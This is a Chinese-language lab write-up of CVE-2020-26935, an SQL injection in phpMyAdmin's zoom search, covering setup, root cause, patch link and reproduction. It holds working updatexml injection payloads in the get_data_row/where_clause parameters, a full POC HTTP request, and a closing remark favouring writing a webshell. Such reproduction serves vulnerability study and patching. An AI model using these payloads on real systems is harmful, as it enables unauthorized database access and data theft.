AI智能
改变未来

CVE-2020-26935 phpMyAdmin后台SQL注入


0x00 漏洞介绍

phpMyAdmin

phpMyAdmin团队

的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

phpMyAdmin 4.9.6之前版本

SearchController 5.0.3之前版本

存在SQL注入漏洞,该漏洞允许攻击者进行SQL注入攻击。

0x01 漏洞环境

  • phpMyAdmin5.0.2&SearchController <5.0.3

0x02 漏洞搭建

1、

phpMyAdmin 5.0.2

压缩包下载

https://files.phpmyadmin.net/phpMyAdmin/5.0.2/phpMyAdmin-5.0.2-all-languages.zip

2、解压缩后将其放入靶机的

/var/www/html

目录下,改名为

phpmyadmin

3、随后进入

phpmyadmin

,找到

config.sample.inc.php

文件备份后将该文件更名为

config.inc.php

。用

vim

编辑器打开该文件,在第18行此处填写

phpmyadmin

,也就是自己改的名字即可安装完毕。

4、保存完配置之后,在浏览器输入如下地址http://127.0.0.1/phpmyadmin,就会出来phpMyAdmin登录界面5、注意,mysql 5.7版本默认不能使用root用户登陆后台phpmyadmin的!!!新建一个完全权限的账户才可以登陆!!命令如下:

mysql -u root -puse mysql;GRANT ALL PRIVILEGES ON *.* TO \'用户名\'@\'localhost\' IDENTIFIED BY \'密码\' WITH GRANT OPTION;flush privileges;exit;systemctl restart mysql

0x03 影响范围

phpMyAdmin versions 4.9.x before 4.9.6, and versions 5.0.x before 5.0.3

0x04 漏洞原理

1、因为是跟

SearchController

有关,所以全局搜索一下

SearchController

,正向跟进

/tbl_zoome_select.php

文件。

2、可以看出调用了

TableSearchController

indexAction

方法,继续跟进,全局搜索一下,看看到底是哪里创建的这个函数。

3、通过上图全局搜索

indexAction()

,可以看出来在

./libraries/classes/Controllers/Table/SearchController.php

这个文件中,进入

switch case zoom

中,发现这里是一个原生sql语句,没有对

get_data_row

做任何过滤。

0x05 漏洞复现

1、登陆phpMyAdmin后台

账号:

wpuser

密码:

Wpuser123.com

2、登陆后,点击

information_schema

3、再随机点击一张不报错的表,随后点击搜索

4、再点击

缩放搜索

5、将空白处填满,值都填满,随便写

6、打开BurpSuite,设置好代理后,点击下方的执行,BuiteSuite就会收到如下的数据包,

Ctrl+R

将其放入重放器(Repeater)中

7、将

token

字段后面的所有数据删除

8、添加这句语句

&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)

9、发送后可以看到结果

10、查询库名

&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)&get_data_row=1&where_clause=updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e),1)

也可以放在

Hack bar

中执行

0x06 漏洞解决建议

1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2

2、升级到更高版本

0x07 POC

POST /phpmyadmin/tbl_zoom_select.php HTTP/1.1Host: 192.168.91.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 224Origin: nullConnection: closeCookie: phpMyAdmin=nk6q8es96cv0j8a8a1nu9of48k; pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22NnsGvlgStQthIgVzxmXmlA%3D%3D%22%2C%22mac%22%3A%22bc225fb2cce7236537f724885ff488332922da27%22%2C%22payload%22%3A%22mcoI%5C%2FCTWx3zHM6hNjpopfA%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22d1W1shXTobZeECuPiLJJXA%3D%3D%22%2C%22mac%22%3A%2237051bede50280770d4b8ab05ee03935983ad141%22%2C%22payload%22%3A%22c66OqbeSV%2BdgvyEiRm4Eh6U5wJGDBnatHyiKhkfj608%3D%22%7DUpgrade-Insecure-Requests: 1Sec-GPC: 1db=information_schema&table=CHARACTER_SETS&token=2777787a51783379543b65257c606c45&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)

0x08 总结

很鸡肋,进入

phpMyadmin

后台,谁还做sql注入,直接写shell不香么。

0x09 Reference

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935

https://xz.aliyun.com/t/8524

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » CVE-2020-26935 phpMyAdmin后台SQL注入